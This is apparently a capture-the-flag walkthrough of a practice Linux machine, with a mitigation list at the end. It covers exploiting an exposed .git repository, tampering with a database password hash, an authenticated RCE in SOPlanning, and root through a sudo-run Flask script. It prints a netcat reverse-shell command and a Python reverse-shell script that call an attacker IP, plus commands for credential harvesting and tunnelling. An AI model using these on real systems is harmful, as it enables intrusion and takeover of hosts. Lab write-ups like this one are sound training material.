BitForge

Introduction

In this walkthrough, I worked on an intermediate-level Linux machine. Port 80 was open, and while exploring it, I discovered a virtual host running the Simple Online Planning Tool v1.52.01, which is vulnerable to authenticated remote code execution. I also found a .git directory on the base domain and cloned it locally. By inspecting the commit history, I retrieved database credentials. I then modified the password hash in the database to a known default, allowing me to log in and exploit the RCE vulnerability.

Post-exploitation, I enumerated running processes and found one leaking plaintext credentials, which I used for lateral movement. Finally, I identified that I could execute a Python reverse shell using sudo, which allowed me to escalate privileges and gain root access.

Nmap

TCP

Run a quick Nmap TCP scan:

sudo nmap -sV $IP --open

UDP

Check top 100 UDP ports:

sudo nmap -sU -F $IP

Full Port Scan

sudo nmap -sV -sC -p- $IP -Pn -n -v --open

Services

Port 22

Version - OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)

We usually skip SSH.

Port 3306

Version - MySQL 8.0.40-0ubuntu0.24.04.1

Without valid credentials nothing we can do for now.

Web

Port 80

Add domain to /etc/hosts file.

Exploitation

Going to plan.bitforge.lab that I found in main website I see the software and its version and found an exploit for it:

SOPlanning 1.52.01 (Simple Online Planning Tool) - Remote Code Execution (RCE) (Authenticated)

But first we should be able to authenticate.

Gobuster Scan on bitforge.lab

gobuster dir -u http://bitforge.lab/ -w /usr/share/wordlists/dirb/common.txt -t 30 -x .php -b 400,403,404

I found out that login page on bitforge.lab does not work at all it does not send any requests.

We have .git that means it is a bare repo let’s clone it to our local directory using tool such as git-dumper.

I found just index.php and login.php pages here.

Checking the status with git status , and git log I see commits.

First one is about creating index.php and login.php pages.

In the second commit I see database connection credentails:

Nothing interesting found in others.

I connected to the database using these credentials:

mysql -u BitForgeAdmin -h $IP -p --ssl=0

Found that bitforge_customer_db database is empty, so I checked soplanning and found SHA1 hash of admin user. I tried cracking it using hashcat and 100 mode but couldn’t crack it.

hashcat -m 100 admin.hash /usr/share/wordlists/rockyou.txt

That’s why I thought of changing password here using MySQL UPDATE clause:

UPDATE planning_user SET password='5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8' where login='admin';

But still I couldn’t login, maybe application has its own hashing method rather than hashing password directly to SHA1, that’s why I decided to change the hash to original default one that comes with soplanning application in that case we will remove probability of hash format being wrong.

I found database default hash here soplanning/includes/demo_data.inc

Then changed it database:

UPDATE planning_user SET password='df5b909019c9b1659e86e0d6bf8da81d6fa3499e' where login='admin';

After that I entered admin:admin, and get in. Previous is confirmed also with the way that I tried to crack this hash but Hashcat exhausted with rockyou.txt.

I tried to execute the exploit but it failed then I noticed that it tried to access /process/upload.php page which does not exist on main page but rather under www.

python3 52082.py -t http://plan.bitforge.lab/www -u admin -p admin

Now we are in.

let’s get a shell using netcat and then make it interactive with python.

busybox nc 192.168.45.159 80 -e /bin/bash

python3 -c 'import pty; pty.spawn("/bin/bash")'

Lateral Movement to Jack

• OSCP Checklist
  • Situational awareness
  • Exposed Confidential Information
  • Password Authentication Abuse
  • Hunting Sensitive Information
  • Sudo
  • SUID/SGID
  • Capabilities
  • Cron Jobs Abuse
  • Kernel Exploits
  • Check if sudoers file is writable
  • Try credentials you already obtained for various services admin roles

Running pspy64 to see running processes I immediately noticed mysqldump usage by jack and cleartext credentials:

timeout 3m ./psp64

It looks like a cronjob running in every 2 minutes:

/bin/sh -c mysqldump -u jack -p'j4cKF0rg3@445' soplanning >> /opt/backup/soplanning_dump.log 2>&1 

mysqldump -u jack -pj4cKF0rg3@445 soplanning

Privilege Escalation

Checking for sudo I see:

#!/bin/bash
cd /opt/password_change_app 
/usr/local/bin/flask run --host 127.0.0.1 --port 9000 --no-debug

Even though cd is not in absolute path we cannot abuse it by PATH Hijacking because most likely /etc/sudoers file uses secure_path.

I got interested and forwarded port 9000 making it possible to view from attacker machine using chisel:

./chisel_1.10.1_linux_amd64 server --reverse --port 3306 -v
./chisel_1.10.1_linux_amd64 client 192.168.45.159:3306 R:9000:127.0.0.1:9000

Here what I see, fuzzing for directories doesn’t reveal anything either.

I understand that it executes the code written in app.py file:

from flask import Flask, render_template

app = Flask(__name__)

@app.route("/")
def home():
    return render_template("index.html")

which creates an index.html file that we see when accessing from browser and it is saved under templates directory.

I am gonna change the contents of app.py to reverse shell and run it with sudo:

import socket
import os
import pty

RHOST = "192.168.45.159"
RPORT = 3306

s = socket.socket()
s.connect((RHOST, RPORT))

# Duplicate socket file descriptor to stdin, stdout, and stderr
for fd in (0, 1, 2):
    os.dup2(s.fileno(), fd)

# Spawn a shell
pty.spawn("/bin/sh")

After executing the command I got a root shell. (I used port that is open on the target other ports might be blocked)

Credentials

BitForgeAdmin : B1tForG3S0ftw4r3S0lutions -> Database creds

jack : j4cKF0rg3@445

Mitigation

• Remove sensitive directories like .git from public-facing environments.
• Regularly rotate and encrypt credentials used in applications and processes.
• Patch known vulnerabilities in third-party tools such as SOPTool.
• Enforce the principle of least privilege for user and process permissions.
• Use sudo restrictions and audit logs to monitor and limit high-privileged command execution.